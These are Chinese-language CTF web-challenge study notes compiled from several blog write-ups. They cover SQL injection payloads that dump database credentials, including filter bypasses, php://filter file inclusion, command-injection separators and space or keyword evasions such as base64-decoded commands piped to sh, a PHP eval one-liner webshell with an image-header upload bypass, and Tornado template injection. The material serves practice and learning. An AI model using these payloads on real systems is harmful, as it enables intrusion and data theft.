目录
web工具:
dirsearch:扫描后台目录(我是在kali安装的)
用法: dirsearch -u 地址
选项 含义
-u 指定url
-e 语言 指定网站语言,一般用-e*即所有语言
-i 保留响应状态码(不同状态码用逗号分隔,可指定范围,如-i 200,300-400)
-x 排除响应状态码(不同状态码用逗号分隔,可指定范围,如-x 400,400-500)
-w 指定字典
-r 递归目录(即可扫描新扫描出的目录下的目录)
-random-agents 使用随机User-Agent
原文链接:https://blog.youkuaiyun.com/m0_73185293/article/details/131239309
easysql:
直接输入万能密码1'or'1'='1
lovesql:
这题考察联合注入查询
一、判断注入类型
and 1=1 / and 1=2 回显页面不同(整型判断)
单引号判断 ’ 显示数据库错误信息或者页面回显不同(整型或字符串类型判断)
\(转义符)
-1 / +1回显下一个或上一个页面(整型判断)
and sleep(5) (判断页面返回时间)
二、判断字段数
order by 10
……
使用二分法判断
三、判断显示位
php?id=-1 union select 1,2,3,4,5
或
php?id=-1 union select null,null,null,null,null
或
php?id=-1 union select (1),(2),(3),(4),(5)
四、获取当前数据库名称和当前连接数据库用户
php?id=-1 union select 1,2,database(),4,5
php?id=-1 union select 1,2,user(),4,5
五、列出所有数据库
使用limit一个一个的打印出来库名
select schema_name from infromation_schema.schemata limit 0,1
使用group_concat()一次性显示全部
说明:group_concat()函数可在一行显示所有查询结果。
concat_ws(分隔符,str1,str2,……)函数可以同时显示多个字段,并以 分隔符 分开。
concat(str1,str2,str3,…)函数可以同时显示多个字段,其中有一个字段为null,则返回null。
select group_concat(schema_name) from information_schema.schemata
六、列出数据库中所有的表
通过limit一个一个打印出来
select table_name from information_schema.tables where table_schema='数据库名' limit 0,1
通过group_concat()函数一次性全部显示
select group_concat(table_name) from information_schema.tables where table_schema = '数据库名'
注意:数据库名称可以用十六进制来代替字符,这样可以绕过限制
七、列出所有字段(数据库:test 表:admin)
limit一个一个的打印出来
select column_name from information_schema.columns where table_schema='test' and table_name='admin' limit 0,1
group_concat()一次性全部显示
select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='admin'
八、列出数据(数据库:test 表:admin)
limit一个一个打印出来
selec username,passwd from test.admin limit 0,1
group_concat()一次性全部显示
select group_concat(concat(username,0x20,passwd)) from test.admin
0x20-->空格
原文链接:https://blog.youkuaiyun.com/dust_hk/article/details/86514268
本题所用查询为:
输入万能密码,找回显位3
1.输入用户名为1
爆数据库password=:1' union select 1,2,database()#
2.
得到数据库名为geek
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1#——爆出表名为geekuser
爆表名password=1' union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1#——爆出表名为l0ve1ysq1
爆列名password=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' #——id,username,password
3.
1' union select 1,2,group_concat(concat_ws('~',username,password)) from geek.l0ve1ysq1# 用concat_ws函数连起来全部看一下
原文链接:https://blog.youkuaiyun.com/m0_52923241/article/details/119641325
babysql:
先试一下常规注入:/check.php?username=admin&password=1' union select 1#
根据报错信息猜测union 、select可能被过滤了,试一下双写绕过/check.php?username=admin&password=1' ununionion seselectlect 1#
继续报错,URL编码试一下,然后试列数
payload:/check.php?username=admin&password=1' ununionion seselectlect 1,2,3%23
出现回显位置2和3
爆数据库:/check.php?username=admin&password=1' ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
爆表:/check.php?username=admin&password=1' ununionion seselectlect 1,2, group_concat(table_name)frfromom(infoorrmation_schema.tables) whwhereere table_schema="ctf" %23
查字段名:/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere table_name="Flag"%23
/check.php?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(flag) frfromom(ctf.Flag)%23
原文链接:https://blog.youkuaiyun.com/m0_52923241/article/details/119641325
include:
文件包含漏洞(此题为php://包含)
Php://伪协议有很多的用法,常用的就是
php://filter 用于读源码。
Php://input用于执行php代码
Php://filter参数详解:
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符隔开
write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符隔开
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况 应用于读或写链
转换过滤器:(非常重要)
convert.base64-encode
//等同于base64_encode(),base64编码
例子:使用php://filter配合转换器读取flag.php文件
php://filter/convert.base64-encode/resource=flag.php
利用php://input :
此协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
php://input 是个可以访问请求的原始数据的只读流。 所以enctype="multipart/form-data" 的时候 php://input 是无效的。
原文链接:https://blog.youkuaiyun.com/qq_63844103/article/details/128144635
即payload:?file=php://filter/convert.base64-encode/resource=flag.php
最后base64解码得到flag
exe1:
ls / 参数/是根目录的意思,这表示显示根目录下的文件
cat(连接的缩写)是 Linux 中最常用的命令之一。它用于在标准输出(sdout)上列出文件的内容。要运行此命令,请键入 cat,然后输入文件名及其扩展名。例如:cat file.txt。
查看上级目录 127.0.0.1|ls /
ls后有空格,然后输入命令 127.0.0.1|cat /flag(cat后也有空格)
pingpingping:
常见绕过:
1.空格绕过
当我们执行系统命令时,不免会遇到空格,如cat flag.txt,当空格被程序过滤时,便需要利用以下字符尝试代替绕过:
<
${IFS}
$IFS$9
%09
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
链接:在CTF比赛中,命令中空格被过滤的解决方法_空格被过滤怎么办-优快云博客
2.
当命令执行时,通常会从前端获取数据执行系统预设定的命令,为了加上我们想要执行的其他命令,通常会使用截断符号让系统去执行其他命令:
如:ping 127.0.0.1|whoami
常见的截断符号:
$
;
|
-
(
)
`
||
&&
&
}
{
%0a
3.cat命令代替
cat命令为查看,当程序禁用cat命令时,可采用以下命令代替:cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
3.1 反斜杠绕过
ca\t fl\ag.txt
3.2 编码绕过
`echo 'Y2F0Cg==' | base64 -d` flag.txt
3.3 拼接绕过
a=c;b=at;c=f;d=lag;e=.txt;$a$b ${c}${d}${e}
cat flag.txt
3.4 单双引号绕过
c'a't test
c"a"t test
3.5 通配符绕过
[…]表示匹配方括号之中的任意一个字符
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
{…}与[…]有一个重要的区别,当匹配的文件不存在,[…]会失去模式的功能,变成一个单纯的字符串,而{…}依然可以展开cat t?st
cat te*
cat t[a-z]st
cat t{a,b,c,d,e,f}st
原文链接:https://blog.youkuaiyun.com/qq_42383069/article/details/130221725
1.此题看wp绕过构造payload为:/?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
2.
内联函数:将指定的函数体插入并取代每一处调用该函数的地方。
反引号在linux中作为内联执行,执行输出结果。也就是说
cat `ls` //执行ls输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php
构造payload /?ip=127.0.0.1;cat$IFS$9`ls`
3.
使用 base64 编码的方式来绕过 flag 过滤。
加密命令
echo “cat flag.php” | base64
解密命令并执行
echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
然后用$IFS$9代替空格。
构造payload:/?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
原文链接:https://blog.youkuaiyun.com/m0_52923241/article/details/119641325
easysql 和随便注:
一般这种题,先判断是字符型还是数字型
先输入1;show databases;#
1; show tables;#
1; show columns from xxx;#
然后是根据题目中的过滤构造payload(但怎么构造我暂时还在学习,现阶段主要看大佬们的wp)
http:
Referer头用于告诉web服务器,用户是从哪个页面找过来的
User-Agent头用于告诉web服务器用户使用的浏览器和操作系统信息
X-Forwarded-For:127.0.0.1(本地地址)
upload1:
文件上传漏洞
创建木马文件(一句话木马:<?php eval($_POST['cmd']); ?> )
这里对<?进行了过滤,且需要加入图片头才能识别为图片
故为
GIF89a
<script language="php">eval($_POST['a']);</script>
文件后缀名为phtml,需要将content-type中的类型改成image/jpeg
注意,蚁剑链接时网站后需要加upload/文件名(为什么要加upload我还不清楚...)
backupfile:
- 常见的备份文件后缀:
.rar .zip .7z .tar .gz .bak .swp .txt .html
用dirsearch扫描后台得备份文件(如果在kali上扫描要在kali上先把网站打开)
打开备份后审计代码
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
is_numeric函数用于检测变量是否为数字或数字字符串intval()函数用于获取变量的整数值
这边要使key为数字且与str相等,key即为123,舍去str数字后面部分即可
easy md5:
对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
构造例子
QNKCDZO
240610708
s878926199
s155964671a
buyflag:


题目要求为post传参且password=404+任意字母(该字符串等同于数字404)money=100000000
故构造语句password=404a&money=1e9
注意:bp中get改为post传参
第一步:改请求头第一行,把GET改成POST
第二步:中间添加2行参数
Content-Type:application/x-www-form-urlencoded
Content-Length:(请求的内容长度)(将post参数发到comparer得到内容长度)
第三步:末尾空一行,写POST参数
结合实际情况,用参数名=参数值的格式构造参数,多个参数要用&隔开。
easy_tornado:
题目提示
/hints.txt
md5(cookie_secret+md5(filename))
而
/flag.txt
flag in /fllllllllllllag
且file上的url为file?filename=/flag.txt&filehash=a78a33701eaa1258cefdb0026e80bcd2(filename就是/fllllllllllllag)
故我们需得到cookie_secret的值,
在render里首先想到的就是模板注入{{}},最终找到的位置是报错网页(随便访问一个文件是更改它的签名就可以进入),里面的参数msg。
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
构造payload/error?msg={{handler.settings}}得到cookie_secret的值,再根据md5(cookie_secret+md5(filename))构造filehash的值即可
原文链接:https://blog.youkuaiyun.com/m0_52923241/article/details/119641325
反序列化的题目:
eg:
<?php
class TEST{
public $test1="11";
private $test2="22";
protected $test3="33";
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}
7674





